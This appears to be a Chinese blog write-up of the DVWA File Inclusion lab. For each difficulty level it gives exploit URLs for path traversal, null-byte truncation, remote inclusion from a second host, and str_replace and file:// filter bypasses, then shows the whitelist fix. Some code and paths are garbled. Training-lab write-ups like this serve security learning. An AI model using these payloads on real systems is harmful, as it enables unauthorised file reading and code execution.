DVWA笔记（六）----File Inclusion
DVWA笔记（六）----File Inclusion
“昨天给大家演示完CSRF自己把密码搞忘了...今天废了半天劲才登陆上来。”
前言
今天先给大家介绍下如果忘记login密码该怎么办。。
然后配置下环境
CSRF后忘记密码怎么办
去数据库中查询一下，点击MySQL管理器--MySQL-front
在dvwa数据库user表中可以看见admin的密码，显然是经过md5加密的。
md5解密网站
https://www.somd5.com/
丢到里面直接解密就好了，如果解不出来，直接换一个md5值，或者设置密码为空密码也成。
File Inclusion环境
可能会有同学在访问File Inclusion模块时有以下问题
如果出现这种情况的话，我们找到相应php解释器的配置文件
确定php解释器版本 访问127.0.0.1
可以看到，我的php版本为5.4.45
这样到phpstudy中打开相应版本文件夹
打开之后查找
allow_url_include
将Off改成On，保存退出
重启服务
再次访问File Inclusion模块
完美解决问题！
File Inclusion 介绍
File Inclusion，意思是文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_once()）利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞，远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项（选项开启之后，服务器允许包含一个远程的文件）。
具体操作
同样要先启动phpstudy，打开Apache和MySQL服务
切换难度（具体操作见第一篇）
low 等级
源代码：
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
>分析：
可以看到，服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接，服务器会包含相应的文件，并将结果返回。需要特别说明的是，服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
点击file1.php后，显示如下
此时的url为
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=include.php
而现实中，恶意的攻击者是不会乖乖点击这些链接的，因此page参数是不可控的。
漏洞利用
1、本地文件包含
构造url
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/etc/hack
报错，显示没有这个文件，说明不是服务器系统不是Linux，但同时暴露了服务器文件的绝对路径C:
构造url（绝对路径）
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=C:-master.ini
成功读取了php.ini文件
构造url（相对路径）
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=..................-master.ini
加这么多..，可以看到读取是成功的。
同时我们看到，配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中，当Magic_quote_gpc选项为off时，我们可以在文件名中使用%00进行截断，也就是说文件名中%00后的内容不会被识别，即下面两个url是完全等效的。
1) http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\phpStudy\WWW\DVWA-master\php.ini
2) http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\phpStudy\WWW\DVWA-master\php.ini%0012.php
由于本次实验环境的php版本为5.4.31，所以无法进行验证。
使用%00截断可以绕过某些过滤规则，例如要求page参数的后缀必须为php，这时链接A会读取失败，而链接B可以绕过规则成功读取。
2.远程文件包含
当服务器的php配置中，选项allow_url_fopen与allow_url_include为开启状态时，服务器会允许包含远程服务器上的文件，如果对文件来源没有检查的话，就容易导致任意远程代码执行。
在远程服务器10.211.55.12上传一个phpinfo.txt文件，内容如下
构造url
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://10.211.55.12/phpinfo.txt
成功在服务器上执行了phpinfo函数
为了增加隐蔽性，可以对http://10.211.55.12/phpinfo.txt进行编码
同样可以执行成功
medium 等级
源代码：
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..\""),"",$file);
>分析：
这里我感觉应该是作者的源代码写错了。。
紫色部分应该为..\，因为要转义，所以要双写（如果不这样的话，原来的payload依旧可以成功执行）
可以看到，Medium级别的代码增加了str_replace函数，对page参数进行了一定的处理，将”http:// ”、”https://”、 ” ../”、”..”替换为空字符，即删除。
使用str_replace函数是极其不安全的，因为可以使用双写绕过替换规则。
例如page=hthttp://tp://10.211.55.12/phpinfo.txt时，str_replace函数会将http://删除，于是
page=http://10.211.55.12/phpinfo.txt
，成功执行远程命令。
同时，因为替换的只是“../”、“..”，所以对采用绝对路径的方式包含文件是不会受到任何限制的。
漏洞利用
1.本地文件包含
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=..././..././..././..././%E2%80%A6/./..././..././..././..././..././phpStudy-master.ini
读取配置文件成功
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=C:-master.ini
绝对路径不受任何影响，读取成功
2.远程文件包含
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=htthttp://p://10.211.55.12/phpinfo.txt
high 等级
源代码：
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}
> 分析：
可以看到，High级别的代码使用了fnmatch函数检查page参数，要求page参数的开头必须是file，服务器才会去包含相应的文件。
漏洞利用
High级别的代码规定只能包含file开头的文件，看似安全，不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生，当我们用浏览器打开一个本地文件时，用的就是file协议，如下图。
构造url
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file:///C:-master.ini
成功读取服务器配置文件
至于执行任意命令，需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件，然后再利用file协议去包含上传文件（需要知道上传文件的绝对路径），从而实现任意命令执行。
imposible 等级
源代码：
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}
>分析：
可以看到，Impossible级别的代码使用了白名单机制进行防护，简单粗暴，page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一，彻底杜绝了文件包含漏洞。
后记
我个人觉得，文件包含漏洞的严重性是最为明显的，也是最愿意去挖的漏洞，今天就已经开课了。。。忙死忙死。。